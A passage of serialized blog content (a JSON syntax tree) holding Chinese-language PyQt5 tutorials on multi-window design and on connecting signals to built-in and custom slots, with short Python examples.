60058,60062],{"type":18,"tag":466,"props":60050,"children":60051},{},[60052],{"type":24,"value":55002},{"type":18,"tag":466,"props":60054,"children":60055},{},[60056],{"type":24,"value":60057},"ckbox",{"type":18,"tag":466,"props":60059,"children":60060},{},[60061],{"type":24,"value":47431},{"type":18,"tag":466,"props":60063,"children":60064},{},[60065],{"type":24,"value":60066},"date",{"type":18,"tag":439,"props":60068,"children":60069},{},[60070,60074,60079,60083],{"type":18,"tag":466,"props":60071,"children":60072},{},[60073],{"type":24,"value":51156},{"type":18,"tag":466,"props":60075,"children":60076},{},[60077],{"type":24,"value":60078},"cbox",{"type":18,"tag":466,"props":60080,"children":60081},{},[60082],{"type":24,"value":52036},{"type":18,"tag":466,"props":60084,"children":60085},{},[60086],{"type":24,"value":60087},"lv",{"type":18,"tag":96,"props":60089,"children":60090},{},[60091],{"type":18,"tag":34,"props":60092,"children":60093},{},[60094,60098],{"type":18,"tag":105,"props":60095,"children":60096},{},[60097],{"type":24,"value":33435},{"type":24,"value":60099}," 说明\n控件的命名并不是绝对的，可以根据个人的喜好习惯或者企业要求进行灵活使用。",{"title":8,"searchDepth":657,"depth":657,"links":60101},[60102,60103],{"id":58942,"depth":657,"text":58945},{"id":59805,"depth":657,"text":59808},"content:blog:2025-08-22-pyqt5-常用控件概述.md","blog\u002F2025-08-22-pyqt5-常用控件概述.md","blog\u002F2025-08-22-pyqt5-常用控件概述",{"_path":60108,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":60109,"description":60110,"date":60111,"tags":60112,"body":60113,"_type":672,"_id":60665,"_source":674,"_file":60666,"_stem":60667,"_extension":677},"\u002Fblog\u002F2025-08-21-pyqt5","PyQt5-多窗口设计","PyQt5多窗口设计教程，窗口跳转、数据传递与窗口模式控制。","2025-08-21",[28616,41429,41430],{"type":15,"children":60114,"toc":60660},[60115,60120,60126,60129,60134,60142,60178,60186,60191,60199,60231,60237,60240,60274,60348,60354,60357,60362,60399,60413,60448,60471,60517,60588,60614,60628,60648,60656],{"type":18,"tag":34,"props":60116,"children":60117},{},[60118],{"type":24,"value":60119},"一个完整的项目一般都是由多个窗口组成的，此时就需要对多窗口设计有所了解。多窗口即向项目中添加多个窗口，在这些窗口中实现不同的功能。下面对多窗口的建立、启动以及如何关联多个窗口进行讲解。",{"type":18,"tag":19,"props":60121,"children":60123},{"id":60122},"_1多窗口的建立",[60124],{"type":24,"value":60125},"1  多窗口的建立",{"type":18,"tag":121,"props":60127,"children":60128},{},[],{"type":18,"tag":34,"props":60130,"children":60131},{},[60132],{"type":24,"value":60133},"多窗口的建立即是向某个项目中添加多个窗口。",{"type":18,"tag":34,"props":60135,"children":60136},{},[60137],{"type":18,"tag":105,"props":60138,"children":60139},{},[60140],{"type":24,"value":60141},"实例 创建并打开多窗口",{"type":18,"tag":34,"props":60143,"children":60144},{},[60145,60147,60152,60154,60160,60162,60168,60170,60176],{"type":24,"value":60146},"在Qt Designer设计器的菜单栏中，选择",{"type":18,"tag":74,"props":60148,"children":60150},{"className":60149},[],[60151],{"type":24,"value":5036},{"type":24,"value":60153},"→",{"type":18,"tag":74,"props":60155,"children":60157},{"className":60156},[],[60158],{"type":24,"value":60159},"新建",{"type":24,"value":60161},"菜单项，弹出",{"type":18,"tag":74,"props":60163,"children":60165},{"className":60164},[],[60166],{"type":24,"value":60167},"新建窗体",{"type":24,"value":60169},"对话框，选择一个模板，单击",{"type":18,"tag":74,"props":60171,"children":60173},{"className":60172},[],[60174],{"type":24,"value":60175},"创建",{"type":24,"value":60177},"按钮，如图所示。",{"type":18,"tag":34,"props":60179,"children":60180},{},[60181],{"type":18,"tag":54,"props":60182,"children":60185},{"alt":60183,"src":60184},"Pasted image 20250827151225","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827151225.png",[],{"type":18,"tag":34,"props":60187,"children":60188},{},[60189],{"type":24,"value":60190},"重复执行以上步骤，即可添加多个窗口，例如，向项目中添加4个窗口的效果如图所示。",{"type":18,"tag":34,"props":60192,"children":60193},{},[60194],{"type":18,"tag":54,"props":60195,"children":60198},{"alt":60196,"src":60197},"Pasted image 20250827151427","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827151427.png",[],{"type":18,"tag":96,"props":60200,"children":60201},{},[60202],{"type":18,"tag":34,"props":60203,"children":60204},{},[60205,60209,60211,60216,60217,60222,60224,60229],{"type":18,"tag":105,"props":60206,"children":60207},{},[60208],{"type":24,"value":33435},{"type":24,"value":60210}," 说明\n在Qt Designer设计器中添加多个窗口后，在保存时，需要分别将鼠标焦点定位到要保存的窗口上，单独为每个窗口进行保存；而在将",{"type":18,"tag":74,"props":60212,"children":60214},{"className":60213},[],[60215],{"type":24,"value":43367},{"type":24,"value":55711},{"type":18,"tag":74,"props":60218,"children":60220},{"className":60219},[],[60221],{"type":24,"value":42560},{"type":24,"value":60223},"文件时，也需要分别选中每个",{"type":18,"tag":74,"props":60225,"children":60227},{"className":60226},[],[60228],{"type":24,"value":43367},{"type":24,"value":60230},"文件，单独进行转换。",{"type":18,"tag":19,"props":60232,"children":60234},{"id":60233},"_2设置启动窗口",[60235],{"type":24,"value":60236},"2  设置启动窗口",{"type":18,"tag":121,"props":60238,"children":60239},{},[],{"type":18,"tag":34,"props":60241,"children":60242},{},[60243,60245,60250,60252,60258,60259,60265,60267,60272],{"type":24,"value":60244},"在项目中添加了多个窗口以后，如果要调试程序，必须要设置先运行的窗口，这样就需要设置项目的启动窗口，其实现方法非常简单，只需要按照“运行主窗口”的步骤为要作为启动窗口的相应",{"type":18,"tag":74,"props":60246,"children":60248},{"className":60247},[],[60249],{"type":24,"value":42560},{"type":24,"value":60251},"文件添加程序入口即可。例如，要将",{"type":18,"tag":74,"props":60253,"children":60255},{"className":60254},[],[60256],{"type":24,"value":60257},"untitled.py",{"type":24,"value":29730},{"type":18,"tag":74,"props":60260,"children":60262},{"className":60261},[],[60263],{"type":24,"value":60264},"untitled.ui",{"type":24,"value":60266},"文件对应的代码文件）作为启动窗口，则在",{"type":18,"tag":74,"props":60268,"children":60270},{"className":60269},[],[60271],{"type":24,"value":60257},{"type":24,"value":60273},"文件中添加如下代码：",{"type":18,"tag":287,"props":60275,"children":60277},{"className":28710,"code":60276,"language":28712,"meta":8,"style":8},"import sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n   app = QtWidgets.QApplication(sys.argv)  \n   MainWindow = QtWidgets.QMainWindow() # 创建窗体对象  \n   ui = Ui_MainWindow()                 # 创建PyQt设计的窗体对象  \n   ui.setupUi(MainWindow)  # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n   MainWindow.show()                    # 显示窗体  \n   sys.exit(app.exec_())                # 程序关闭时退出进程\n",[60278],{"type":18,"tag":74,"props":60279,"children":60280},{"__ignoreMap":8},[60281,60288,60295,60302,60309,60316,60324,60332,60340],{"type":18,"tag":297,"props":60282,"children":60283},{"class":299,"line":300},[60284],{"type":18,"tag":297,"props":60285,"children":60286},{},[60287],{"type":24,"value":42415},{"type":18,"tag":297,"props":60289,"children":60290},{"class":299,"line":657},[60291],{"type":18,"tag":297,"props":60292,"children":60293},{},[60294],{"type":24,"value":42423},{"type":18,"tag":297,"props":60296,"children":60297},{"class":299,"line":662},[60298],{"type":18,"tag":297,"props":60299,"children":60300},{},[60301],{"type":24,"value":42431},{"type":18,"tag":297,"props":60303,"children":60304},{"class":299,"line":799},[60305],{"type":18,"tag":297,"props":60306,"children":60307},{},[60308],{"type":24,"value":42439},{"type":18,"tag":297,"props":60310,"children":60311},{"class":299,"line":808},[60312],{"type":18,"tag":297,"props":60313,"children":60314},{},[60315],{"type":24,"value":45450},{"type":18,"tag":297,"props":60317,"children":60318},{"class":299,"line":817},[60319],{"type":18,"tag":297,"props":60320,"children":60321},{},[60322],{"type":24,"value":60323},"   ui = Ui_MainWindow()                 # 创建PyQt设计的窗体对象  \n",{"type":18,"tag":297,"props":60325,"children":60326},{"class":299,"line":826},[60327],{"type":18,"tag":297,"props":60328,"children":60329},{},[60330],{"type":24,"value":60331},"   ui.setupUi(MainWindow)  # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n",{"type":18,"tag":297,"props":60333,"children":60334},{"class":299,"line":4524},[60335],{"type":18,"tag":297,"props":60336,"children":60337},{},[60338],{"type":24,"value":60339},"   MainWindow.show()                    # 显示窗体  \n",{"type":18,"tag":297,"props":60341,"children":60342},{"class":299,"line":4533},[60343],{"type":18,"tag":297,"props":60344,"children":60345},{},[60346],{"type":24,"value":60347},"   sys.exit(app.exec_())                # 程序关闭时退出进程\n",{"type":18,"tag":19,"props":60349,"children":60351},{"id":60350},"_3窗口之间的关联",[60352],{"type":24,"value":60353},"3  窗口之间的关联",{"type":18,"tag":121,"props":60355,"children":60356},{},[],{"type":18,"tag":34,"props":60358,"children":60359},{},[60360],{"type":24,"value":60361},"在多窗口创建完成后，需要将各个窗口进行关联，然后才可以形成一个完整的项目。这里以在启动窗口中打开另外3个窗口为例进行讲解。",{"type":18,"tag":34,"props":60363,"children":60364},{},[60365,60367,60373,60375,60381,60383,60389,60391,60397],{"type":24,"value":60366},"首先看一下",{"type":18,"tag":74,"props":60368,"children":60370},{"className":60369},[],[60371],{"type":24,"value":60372},"untitled2.py",{"type":24,"value":60374},"文件、",{"type":18,"tag":74,"props":60376,"children":60378},{"className":60377},[],[60379],{"type":24,"value":60380},"untitled3.py",{"type":24,"value":60382},"文件和",{"type":18,"tag":74,"props":60384,"children":60386},{"className":60385},[],[60387],{"type":24,"value":60388},"untitled4.py",{"type":24,"value":60390},"文件，在自动转换后的代码中，默认继承自",{"type":18,"tag":74,"props":60392,"children":60394},{"className":60393},[],[60395],{"type":24,"value":60396},"object",{"type":24,"value":60398},"类，代码如下：",{"type":18,"tag":287,"props":60400,"children":60402},{"className":28710,"code":60401,"language":28712,"meta":8,"style":8},"class Ui_MainWindow(object):\n",[60403],{"type":18,"tag":74,"props":60404,"children":60405},{"__ignoreMap":8},[60406],{"type":18,"tag":297,"props":60407,"children":60408},{"class":299,"line":300},[60409],{"type":18,"tag":297,"props":60410,"children":60411},{},[60412],{"type":24,"value":60401},{"type":18,"tag":34,"props":60414,"children":60415},{},[60416,60418,60423,60425,60431,60433,60438,60440,60446],{"type":24,"value":60417},"为了执行窗口操作，需要将继承的",{"type":18,"tag":74,"props":60419,"children":60421},{"className":60420},[],[60422],{"type":24,"value":60396},{"type":24,"value":60424},"类修改为",{"type":18,"tag":74,"props":60426,"children":60428},{"className":60427},[],[60429],{"type":24,"value":60430},"QMainWindow",{"type":24,"value":60432},"类，由于",{"type":18,"tag":74,"props":60434,"children":60436},{"className":60435},[],[60437],{"type":24,"value":60430},{"type":24,"value":60439},"类位于",{"type":18,"tag":74,"props":60441,"children":60443},{"className":60442},[],[60444],{"type":24,"value":60445},"PyQt5.QtWidgets",{"type":24,"value":60447},"模块中，因此需要进行导入，修改后的代码如下：",{"type":18,"tag":287,"props":60449,"children":60451},{"className":28710,"code":60450,"language":28712,"meta":8,"style":8},"from PyQt5.QtWidgets import QMainWindow  \nclass Ui_MainWindow(QMainWindow):\n",[60452],{"type":18,"tag":74,"props":60453,"children":60454},{"__ignoreMap":8},[60455,60463],{"type":18,"tag":297,"props":60456,"children":60457},{"class":299,"line":300},[60458],{"type":18,"tag":297,"props":60459,"children":60460},{},[60461],{"type":24,"value":60462},"from PyQt5.QtWidgets import QMainWindow  \n",{"type":18,"tag":297,"props":60464,"children":60465},{"class":299,"line":657},[60466],{"type":18,"tag":297,"props":60467,"children":60468},{},[60469],{"type":24,"value":60470},"class Ui_MainWindow(QMainWindow):\n",{"type":18,"tag":34,"props":60472,"children":60473},{},[60474,60476,60481,60482,60487,60488,60493,60495,60500,60502,60507,60509,60515],{"type":24,"value":60475},"修改完",{"type":18,"tag":74,"props":60477,"children":60479},{"className":60478},[],[60480],{"type":24,"value":60372},{"type":24,"value":60374},{"type":18,"tag":74,"props":60483,"children":60485},{"className":60484},[],[60486],{"type":24,"value":60380},{"type":24,"value":60382},{"type":18,"tag":74,"props":60489,"children":60491},{"className":60490},[],[60492],{"type":24,"value":60388},{"type":24,"value":60494},"文件的继承类之后，打开",{"type":18,"tag":74,"props":60496,"children":60498},{"className":60497},[],[60499],{"type":24,"value":60257},{"type":24,"value":60501},"主窗口文件，在该文件中，首先定义一个槽函数，用来使用",{"type":18,"tag":74,"props":60503,"children":60505},{"className":60504},[],[60506],{"type":24,"value":60430},{"type":24,"value":60508},"对象的",{"type":18,"tag":74,"props":60510,"children":60512},{"className":60511},[],[60513],{"type":24,"value":60514},"show()方法",{"type":24,"value":60516},"打开3个窗口，代码如下：",{"type":18,"tag":287,"props":60518,"children":60520},{"className":28710,"code":60519,"language":28712,"meta":8,"style":8},"def open(self):  \n    import untitled2, untitled3, untitled4  \n    self.second = untitled2.Ui_MainWindow() # 创建第2个窗体对象  \n    self.second.show()  # 显示窗体  \n    self.third = untitled3.Ui_MainWindow()  # 创建第3个窗体对象  \n    self.third.show()  # 显示窗体  \n    self.fouth = untitled4.Ui_MainWindow()  # 创建第4个窗体对象  \n    self.fouth.show()  # 显示窗体\n",[60521],{"type":18,"tag":74,"props":60522,"children":60523},{"__ignoreMap":8},[60524,60532,60540,60548,60556,60564,60572,60580],{"type":18,"tag":297,"props":60525,"children":60526},{"class":299,"line":300},[60527],{"type":18,"tag":297,"props":60528,"children":60529},{},[60530],{"type":24,"value":60531},"def open(self):  \n",{"type":18,"tag":297,"props":60533,"children":60534},{"class":299,"line":657},[60535],{"type":18,"tag":297,"props":60536,"children":60537},{},[60538],{"type":24,"value":60539},"    import untitled2, untitled3, untitled4  \n",{"type":18,"tag":297,"props":60541,"children":60542},{"class":299,"line":662},[60543],{"type":18,"tag":297,"props":60544,"children":60545},{},[60546],{"type":24,"value":60547},"    self.second = untitled2.Ui_MainWindow() # 创建第2个窗体对象  \n",{"type":18,"tag":297,"props":60549,"children":60550},{"class":299,"line":799},[60551],{"type":18,"tag":297,"props":60552,"children":60553},{},[60554],{"type":24,"value":60555},"    self.second.show()  # 显示窗体  \n",{"type":18,"tag":297,"props":60557,"children":60558},{"class":299,"line":808},[60559],{"type":18,"tag":297,"props":60560,"children":60561},{},[60562],{"type":24,"value":60563},"    self.third = untitled3.Ui_MainWindow()  # 创建第3个窗体对象  \n",{"type":18,"tag":297,"props":60565,"children":60566},{"class":299,"line":817},[60567],{"type":18,"tag":297,"props":60568,"children":60569},{},[60570],{"type":24,"value":60571},"    self.third.show()  # 显示窗体  \n",{"type":18,"tag":297,"props":60573,"children":60574},{"class":299,"line":826},[60575],{"type":18,"tag":297,"props":60576,"children":60577},{},[60578],{"type":24,"value":60579},"    self.fouth = untitled4.Ui_MainWindow()  # 创建第4个窗体对象  \n",{"type":18,"tag":297,"props":60581,"children":60582},{"class":299,"line":4524},[60583],{"type":18,"tag":297,"props":60584,"children":60585},{},[60586],{"type":24,"value":60587},"    self.fouth.show()  # 显示窗体\n",{"type":18,"tag":34,"props":60589,"children":60590},{},[60591,60593,60598,60599,60605,60607,60613],{"type":24,"value":60592},"然后将",{"type":18,"tag":74,"props":60594,"children":60596},{"className":60595},[],[60597],{"type":24,"value":44683},{"type":24,"value":44705},{"type":18,"tag":74,"props":60600,"children":60602},{"className":60601},[],[60603],{"type":24,"value":60604},"clicked()信号",{"type":24,"value":60606},"与自定义的槽函数",{"type":18,"tag":74,"props":60608,"children":60610},{"className":60609},[],[60611],{"type":24,"value":60612},"open()",{"type":24,"value":55382},{"type":18,"tag":287,"props":60615,"children":60617},{"className":28710,"code":60616,"language":28712,"meta":8,"style":8},"self.pushButton.clicked.connect(self.open)\n",[60618],{"type":18,"tag":74,"props":60619,"children":60620},{"__ignoreMap":8},[60621],{"type":18,"tag":297,"props":60622,"children":60623},{"class":299,"line":300},[60624],{"type":18,"tag":297,"props":60625,"children":60626},{},[60627],{"type":24,"value":60616},{"type":18,"tag":34,"props":60629,"children":60630},{},[60631,60633,60638,60640,60646],{"type":24,"value":60632},"运行",{"type":18,"tag":74,"props":60634,"children":60636},{"className":60635},[],[60637],{"type":24,"value":60257},{"type":24,"value":60639},"主窗口，单击",{"type":18,"tag":74,"props":60641,"children":60643},{"className":60642},[],[60644],{"type":24,"value":60645},"打开",{"type":24,"value":60647},"按钮，即可打开其他3个窗口，效果如图所示。",{"type":18,"tag":34,"props":60649,"children":60650},{},[60651],{"type":18,"tag":54,"props":60652,"children":60655},{"alt":60653,"src":60654},"Pasted image 20250827152909","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827152909.png",[],{"type":18,"tag":651,"props":60657,"children":60658},{},[60659],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":60661},[60662,60663,60664],{"id":60122,"depth":657,"text":60125},{"id":60233,"depth":657,"text":60236},{"id":60350,"depth":657,"text":60353},"content:blog:2025-08-21-pyqt5-多窗口设计.md","blog\u002F2025-08-21-pyqt5-多窗口设计.md","blog\u002F2025-08-21-pyqt5-多窗口设计",{"_path":60669,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":60670,"description":60671,"date":60672,"tags":60673,"body":60674,"_type":672,"_id":61189,"_source":674,"_file":61190,"_stem":61191,"_extension":677},"\u002Fblog\u002F2025-08-20-pyqt5","PyQt5-信号与槽","PyQt5信号与槽机制详解，Qt核心通信原理、内置信号与自定义信号的使用。","2025-08-20",[28616,41429,41430],{"type":15,"children":60675,"toc":61183},[60676,60682,60685,60706,60718,60726,60731,60764,60769,60777,60783,60786,60798,60824,60832,60852,60860,60895,60903,60944,60956,60964,60983,60997,61009,61017,61023,61026,61031,61039,61052,61091,61111,61117,61120,61145,61159,61171,61179],{"type":18,"tag":19,"props":60677,"children":60679},{"id":60678},"_1信号与槽的基本概念",[60680],{"type":24,"value":60681},"1  信号与槽的基本概念",{"type":18,"tag":121,"props":60683,"children":60684},{},[],{"type":18,"tag":34,"props":60686,"children":60687},{},[60688,60690,60696,60698,60704],{"type":24,"value":60689},"信号（signal）与槽（slot）是Qt的核心机制，也是进行PyQt5编程时对象之间通信的基础。在PyQt5中，每一个",{"type":18,"tag":74,"props":60691,"children":60693},{"className":60692},[],[60694],{"type":24,"value":60695},"QObject",{"type":24,"value":60697},"对象（包括各种窗口和控件）都支持信号与槽机制，通过信号与槽的关联，就可以实现对象之间的通信。当信号发射时，连接的槽函数（方法）将会自动执行。在PyQt5中，信号与槽是通过对象的",{"type":18,"tag":74,"props":60699,"children":60701},{"className":60700},[],[60702],{"type":24,"value":60703},"signal.connect()方法",{"type":24,"value":60705},"进行连接的。",{"type":18,"tag":34,"props":60707,"children":60708},{},[60709,60711,60716],{"type":24,"value":60710},"PyQt5的窗口控件中有很多内置的信号，例如，如图所示为",{"type":18,"tag":74,"props":60712,"children":60714},{"className":60713},[],[60715],{"type":24,"value":54053},{"type":24,"value":60717},"主窗口的部分内置信号与槽。",{"type":18,"tag":34,"props":60719,"children":60720},{},[60721],{"type":18,"tag":54,"props":60722,"children":60725},{"alt":60723,"src":60724},"Pasted image 20250827142539","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827142539.png",[],{"type":18,"tag":34,"props":60727,"children":60728},{},[60729],{"type":24,"value":60730},"PyQt5中使用信号与槽的主要特点如下：",{"type":18,"tag":210,"props":60732,"children":60733},{},[60734,60739,60744,60749,60754,60759],{"type":18,"tag":158,"props":60735,"children":60736},{},[60737],{"type":24,"value":60738},"一个信号可以连接多个槽。",{"type":18,"tag":158,"props":60740,"children":60741},{},[60742],{"type":24,"value":60743},"一个槽可以监听多个信号。",{"type":18,"tag":158,"props":60745,"children":60746},{},[60747],{"type":24,"value":60748},"信号与信号之间可以互连。",{"type":18,"tag":158,"props":60750,"children":60751},{},[60752],{"type":24,"value":60753},"信号与槽的连接可以跨线程。",{"type":18,"tag":158,"props":60755,"children":60756},{},[60757],{"type":24,"value":60758},"信号与槽的连接方式即可以是同步，也可以是异步。",{"type":18,"tag":158,"props":60760,"children":60761},{},[60762],{"type":24,"value":60763},"信号的参数可以是任何的Python类型。",{"type":18,"tag":34,"props":60765,"children":60766},{},[60767],{"type":24,"value":60768},"信号与槽的连接工作示意过程如图所示。",{"type":18,"tag":34,"props":60770,"children":60771},{},[60772],{"type":18,"tag":54,"props":60773,"children":60776},{"alt":60774,"src":60775},"Pasted image 20250827142753","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827142753.png",[],{"type":18,"tag":19,"props":60778,"children":60780},{"id":60779},"_2编辑信号与槽",[60781],{"type":24,"value":60782},"2  编辑信号与槽",{"type":18,"tag":121,"props":60784,"children":60785},{},[],{"type":18,"tag":34,"props":60787,"children":60788},{},[60789,60791,60796],{"type":24,"value":60790},"例如，通过信号（signal）与槽（slot）实现一个",{"type":18,"tag":105,"props":60792,"children":60793},{},[60794],{"type":24,"value":60795},"单击按钮关闭主窗口",{"type":24,"value":60797},"的运行效果，具体操作步骤如下：",{"type":18,"tag":34,"props":60799,"children":60800},{},[60801,60803,60808,60810,60815,60817,60823],{"type":24,"value":60802},"1）打开Qt Designer设计器，从左侧的工具箱中向窗口中添加一个",{"type":18,"tag":74,"props":60804,"children":60806},{"className":60805},[],[60807],{"type":24,"value":44683},{"type":24,"value":60809},"按钮，并设置按钮的",{"type":18,"tag":74,"props":60811,"children":60813},{"className":60812},[],[60814],{"type":24,"value":24},{"type":24,"value":60816},"属性为",{"type":18,"tag":74,"props":60818,"children":60820},{"className":60819},[],[60821],{"type":24,"value":60822},"关闭",{"type":24,"value":56959},{"type":18,"tag":34,"props":60825,"children":60826},{},[60827],{"type":18,"tag":54,"props":60828,"children":60831},{"alt":60829,"src":60830},"Pasted image 20250827143220","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827143220.png",[],{"type":18,"tag":34,"props":60833,"children":60834},{},[60835,60837,60842,60844,60850],{"type":24,"value":60836},"2）选中添加的",{"type":18,"tag":74,"props":60838,"children":60840},{"className":60839},[],[60841],{"type":24,"value":60822},{"type":24,"value":60843},"按钮，在菜单栏中选择",{"type":18,"tag":74,"props":60845,"children":60847},{"className":60846},[],[60848],{"type":24,"value":60849},"编辑信号\u002F槽",{"type":24,"value":60851},"菜单项，然后按住鼠标左键拖动至窗口的空白区域，如图所示。",{"type":18,"tag":34,"props":60853,"children":60854},{},[60855],{"type":18,"tag":54,"props":60856,"children":60859},{"alt":60857,"src":60858},"Pasted image 20250827143500","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827143500.png",[],{"type":18,"tag":34,"props":60861,"children":60862},{},[60863,60865,60871,60873,60879,60881,60887,60888,60894],{"type":24,"value":60864},"3）拖动至窗口的空白区域松开鼠标后，将自动弹出",{"type":18,"tag":74,"props":60866,"children":60868},{"className":60867},[],[60869],{"type":24,"value":60870},"配置连接",{"type":24,"value":60872},"对话框，首先选中",{"type":18,"tag":74,"props":60874,"children":60876},{"className":60875},[],[60877],{"type":24,"value":60878},"显示从QWidget继承的信号和槽",{"type":24,"value":60880},"复选框，然后在上方的信号与槽列表中分别选择选中",{"type":18,"tag":74,"props":60882,"children":60884},{"className":60883},[],[60885],{"type":24,"value":60886},"clicked()",{"type":24,"value":10315},{"type":18,"tag":74,"props":60889,"children":60891},{"className":60890},[],[60892],{"type":24,"value":60893},"close()",{"type":24,"value":56959},{"type":18,"tag":34,"props":60896,"children":60897},{},[60898],{"type":18,"tag":54,"props":60899,"children":60902},{"alt":60900,"src":60901},"Pasted image 20250827143731","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827143731.png",[],{"type":18,"tag":96,"props":60904,"children":60905},{},[60906],{"type":18,"tag":34,"props":60907,"children":60908},{},[60909,60913,60915,60920,60922,60927,60929,60934,60936,60942],{"type":18,"tag":105,"props":60910,"children":60911},{},[60912],{"type":24,"value":33435},{"type":24,"value":60914}," 说明\n上图中，选中的",{"type":18,"tag":74,"props":60916,"children":60918},{"className":60917},[],[60919],{"type":24,"value":60886},{"type":24,"value":60921},"为按钮的信号，然后选中的",{"type":18,"tag":74,"props":60923,"children":60925},{"className":60924},[],[60926],{"type":24,"value":60893},{"type":24,"value":60928},"为槽函数（方法），工作逻辑是，单击按钮时发射",{"type":18,"tag":74,"props":60930,"children":60932},{"className":60931},[],[60933],{"type":24,"value":44112},{"type":24,"value":60935},"，该信号被主窗口的",{"type":18,"tag":74,"props":60937,"children":60939},{"className":60938},[],[60940],{"type":24,"value":60941},"close()槽函数",{"type":24,"value":60943},"（方法）所捕获，并触发了关闭主窗口的行为。",{"type":18,"tag":34,"props":60945,"children":60946},{},[60947,60949,60954],{"type":24,"value":60948},"4）单击",{"type":18,"tag":74,"props":60950,"children":60952},{"className":60951},[],[60953],{"type":24,"value":8505},{"type":24,"value":60955},"按钮，即可完成信号与槽的关联，效果如图所示。",{"type":18,"tag":34,"props":60957,"children":60958},{},[60959],{"type":18,"tag":54,"props":60960,"children":60963},{"alt":60961,"src":60962},"Pasted image 20250827143948","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827143948.png",[],{"type":18,"tag":34,"props":60965,"children":60966},{},[60967,60969,60974,60976,60981],{"type":24,"value":60968},"保存",{"type":18,"tag":74,"props":60970,"children":60972},{"className":60971},[],[60973],{"type":24,"value":43367},{"type":24,"value":60975},"文件，并使用PyCharm中配置的Pyuic工具将其转换为",{"type":18,"tag":74,"props":60977,"children":60979},{"className":60978},[],[60980],{"type":24,"value":42560},{"type":24,"value":60982},"文件，转换后实现单击按钮关闭窗口的关键代码如下：",{"type":18,"tag":287,"props":60984,"children":60986},{"className":28710,"code":60985,"language":28712,"meta":8,"style":8},"self.pushButton.clicked.connect(MainWindow.close)\n",[60987],{"type":18,"tag":74,"props":60988,"children":60989},{"__ignoreMap":8},[60990],{"type":18,"tag":297,"props":60991,"children":60992},{"class":299,"line":300},[60993],{"type":18,"tag":297,"props":60994,"children":60995},{},[60996],{"type":24,"value":60985},{"type":18,"tag":34,"props":60998,"children":60999},{},[61000,61002,61007],{"type":24,"value":61001},"为转换后的Python代码添加程序入口，然后运行程序，效果如图所示，单击",{"type":18,"tag":74,"props":61003,"children":61005},{"className":61004},[],[61006],{"type":24,"value":60822},{"type":24,"value":61008},"按钮，即可关闭当前窗口。",{"type":18,"tag":34,"props":61010,"children":61011},{},[61012],{"type":18,"tag":54,"props":61013,"children":61016},{"alt":61014,"src":61015},"Pasted image 20250827145233","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827145233.png",[],{"type":18,"tag":19,"props":61018,"children":61020},{"id":61019},"_3自定义槽",[61021],{"type":24,"value":61022},"3  自定义槽",{"type":18,"tag":121,"props":61024,"children":61025},{},[],{"type":18,"tag":34,"props":61027,"children":61028},{},[61029],{"type":24,"value":61030},"在前面的内容中，介绍了如何将控件的信号与PyQt5内置的槽函数相关联，除此之外，用户还可以自定义槽，自定义槽本质上就是自定义一个函数，该函数来实现相应的功能。",{"type":18,"tag":34,"props":61032,"children":61033},{},[61034],{"type":18,"tag":105,"props":61035,"children":61036},{},[61037],{"type":24,"value":61038},"实例 信号与自定义槽的绑定",{"type":18,"tag":34,"props":61040,"children":61041},{},[61042,61044,61050],{"type":24,"value":61043},"自定义一个槽函数，用来单击按钮时，弹出一个",{"type":18,"tag":74,"props":61045,"children":61047},{"className":61046},[],[61048],{"type":24,"value":61049},"欢迎进入PyQt5编程世界",{"type":24,"value":61051},"的信息提示框。代码如下：",{"type":18,"tag":287,"props":61053,"children":61055},{"className":28710,"code":61054,"language":28712,"meta":8,"style":8},"def showMessage(self):  \n    from PyQt5.QtWidgets import QMessageBox  # 导入QMessageBox类  \n    # 使用information()方法弹出信息提示框  \n    QMessageBox.information(MainWindow,\"提示框\",\"欢迎进入PyQt5编程世界\",QMessageBox.Yes | QMessageBox.No,QMessageBox.Yes)\n",[61056],{"type":18,"tag":74,"props":61057,"children":61058},{"__ignoreMap":8},[61059,61067,61075,61083],{"type":18,"tag":297,"props":61060,"children":61061},{"class":299,"line":300},[61062],{"type":18,"tag":297,"props":61063,"children":61064},{},[61065],{"type":24,"value":61066},"def showMessage(self):  \n",{"type":18,"tag":297,"props":61068,"children":61069},{"class":299,"line":657},[61070],{"type":18,"tag":297,"props":61071,"children":61072},{},[61073],{"type":24,"value":61074},"    from PyQt5.QtWidgets import QMessageBox  # 导入QMessageBox类  \n",{"type":18,"tag":297,"props":61076,"children":61077},{"class":299,"line":662},[61078],{"type":18,"tag":297,"props":61079,"children":61080},{},[61081],{"type":24,"value":61082},"    # 使用information()方法弹出信息提示框  \n",{"type":18,"tag":297,"props":61084,"children":61085},{"class":299,"line":799},[61086],{"type":18,"tag":297,"props":61087,"children":61088},{},[61089],{"type":24,"value":61090},"    QMessageBox.information(MainWindow,\"提示框\",\"欢迎进入PyQt5编程世界\",QMessageBox.Yes | QMessageBox.No,QMessageBox.Yes)\n",{"type":18,"tag":96,"props":61092,"children":61093},{},[61094],{"type":18,"tag":34,"props":61095,"children":61096},{},[61097,61101,61103,61109],{"type":18,"tag":105,"props":61098,"children":61099},{},[61100],{"type":24,"value":33435},{"type":24,"value":61102}," 说明\n上面代码中用到了",{"type":18,"tag":74,"props":61104,"children":61106},{"className":61105},[],[61107],{"type":24,"value":61108},"QMessageBox",{"type":24,"value":61110},"类，该类是PyQt5中提供的一个对话框类",{"type":18,"tag":19,"props":61112,"children":61114},{"id":61113},"_4将自定义槽连接到信号",[61115],{"type":24,"value":61116},"4  